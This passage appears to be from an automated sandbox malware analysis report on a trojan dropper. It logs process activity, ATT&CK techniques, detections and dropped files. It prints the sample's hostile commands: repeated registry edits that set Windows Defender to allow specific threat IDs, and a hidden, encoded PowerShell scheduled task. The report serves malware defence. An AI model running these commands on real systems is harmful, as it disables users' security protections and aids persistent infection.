Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\gpscript.exe gpscript.exe /RefreshSystemParam	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32

Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00414B04 EntryPoint,GetVersion,GetCommandLineA,GetStartupInfoA,GetModuleHandleA,

0_2_00414B04

Lowering of HIPS / PFW / Operating System Security Settings

Modifies Group Policy settings

Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	11 Scheduled Task/Job	11 Process Injection	2 Masquerading	1 Input Capture	131 Security Software Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	21 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	11 Scheduled Task/Job	Logon Script (Windows)	Logon Script (Windows)	1 Modify Registry	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Native API	Logon Script (Mac)	Logon Script (Mac)	41 Virtualization/Sandbox Evasion	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	4 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	11 Deobfuscate/Decode Files or Information	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	2 Obfuscated Files or Information	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	100%	Avira	HEUR/AGEN.1250601
C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	100%	Avira	HEUR/AGEN.1250601
C:\Windows\Temp\CTQYLaFGBwgBLVnC\XOWTqVpevqJTLBZ\YLNoErO.exe	100%	Avira	HEUR/AGEN.1250601
C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	65%	ReversingLabs	Win32.Trojan.Barys
C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	65%	ReversingLabs	Win32.Trojan.Barys
C:\Windows\Temp\CTQYLaFGBwgBLVnC\XOWTqVpevqJTLBZ\YLNoErO.exe	65%	ReversingLabs	Win32.Trojan.Barys

Unpacked PE Files

Source	Detection	Scanner	Label	Download
23.0.KZDOWch.exe.df0000.0.unpack	100%	Avira	HEUR/AGEN.1250601	Download File
23.2.KZDOWch.exe.df0000.0.unpack	100%	Avira	HEUR/AGEN.1250601	Download File
2.2.Install.exe.920000.0.unpack	100%	Avira	HEUR/AGEN.1250601	Download File
2.0.Install.exe.920000.0.unpack	100%	Avira	HEUR/AGEN.1250601	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://crl.m	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000011.00000002.418333366.0000020362523000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.416535432.00000203623EC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.m	powershell.exe, 00000011.00000002.363453678.0000020350765000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000011.00000002.370748414.0000020352583000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000011.00000002.364982026.0000020352381000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.431937446.0000000003E01000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000011.00000002.370748414.0000020352583000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000011.00000002.370748414.0000020352583000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000011.00000002.416535432.00000203623EC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000011.00000002.418333366.0000020362523000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.416535432.00000203623EC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000011.00000002.416535432.00000203623EC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000011.00000002.416535432.00000203623EC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	776315
Start date and time:	2022-12-31 16:10:08 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	file.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	59
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.evad.winEXE@98/15@0/0
EGA Information:	Successful, ratio: 80%
HDC Information:	Successful, ratio: 99% (good quality ratio 96.3%) Quality average: 84.2% Quality standard deviation: 23.4%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): files.testupdate.info, clients2.google.com, login.live.com, settings-win.data.microsoft.com, api2.check-data.xyz, www.googleapis.com, www.testupdate.info, service-domain.xyz
Execution Graph export aborted for target powershell.exe, PID 4040 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:11:13	API Interceptor	1x Sleep call for process: Install.exe modified
16:11:14	Task Scheduler	Run new task: goSRLihgj path: powershell s>-WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
16:11:19	Task Scheduler	Run new task: bbrwVHWbINAVAbZleQ path: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe s>UB /site_id 525403 /S
16:11:25	API Interceptor	29x Sleep call for process: powershell.exe modified
16:12:13	API Interceptor	1x Sleep call for process: KZDOWch.exe modified
16:12:17	Task Scheduler	Run new task: uwdxcHIPRMOGjvUXa path: C:\Windows\Temp\CTQYLaFGBwgBLVnC\XOWTqVpevqJTLBZ\YLNoErO.exe s>mT /site_id 525403 /S
16:12:21	Task Scheduler	Run new task: dbcGzoJSgXXyj2 path: C:\Windows\system32\wscript.exe s>"C:\ProgramData\DSaNCZvTTJTSDlVB\DndlVYr.wsf"

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1108
Entropy (8bit):	5.295294468448967
Encrypted:	false
SSDEEP:	24:3AkPpQrLAo4KAxX5qRPD42HZSCvKDe9tOBPnKEU:DPerB4nqRL/HZSCv4e9tOBfzU
MD5:	1C80F1303DD3DDBE3C096705FF52040A
SHA1:	3741403D56389B4EC7CF855E6C76C6DC2C95FF64
SHA-256:	42D4B9FA1F3F8EB161A0C58AADA51D2A417CC8B5CCDA334905C62ACC84493F88
SHA-512:	DC82F25447F671E173D1A7C4D00EAD4C3B1E040D913C7011F3D8A785625D1E26C5982DB8550A63947E996AAF104763C170E070C8BB176ED5EE17115D9DB3AB6C
Malicious:	false
Preview:	@...e................................................@..........8................'....L..}............System.Numerics.H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0...............G-.o...A...4B..........System..4...............[...{a.C..%6..h.........System.Core.D...............fZve...F.....x.)........System.Management.AutomationL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServices4................Zg5..:O..g..q..........System.Xml..4...............T..'Z..N..Nvj.G.........System.Data.<................):gK..G...$.1.q........System.ConfigurationH................. ....H..m)aUu.........Microsoft.PowerShell.Security...<...............)L..Pz.O.E.R............System.Transactions.P...............-K..s.F..*.]`.,......(.Microsoft.PowerShell.Commands.ManagementD..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\7zS7660.tmp\Install.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6612583
Entropy (8bit):	7.996031565583186
Encrypted:	true
SSDEEP:	196608:91OcYDzJRIeC9BhkXw4751Kw57ro+2ozB+ZW6UoXm:3ORVRvC9DkXV751x5Y+2XXUgm
MD5:	ACF9F750C53A4655AF0F2C792DC05166
SHA1:	E977B268B5C249287A4696337636A84F16F0F27C
SHA-256:	35202DF1D0FC3C21B4309528C02E25D7C97D2CBA4AFBE582BE302FCC15B85BA7
SHA-512:	0F0BF7FA8F0D0C39CFD57C27A150C54CBCC507BC59309B06184F776CAFCFE827E853A2107479891652C31714A33D15A699A463C4C25AA4E5400B7B0CD000DD43
Malicious:	true
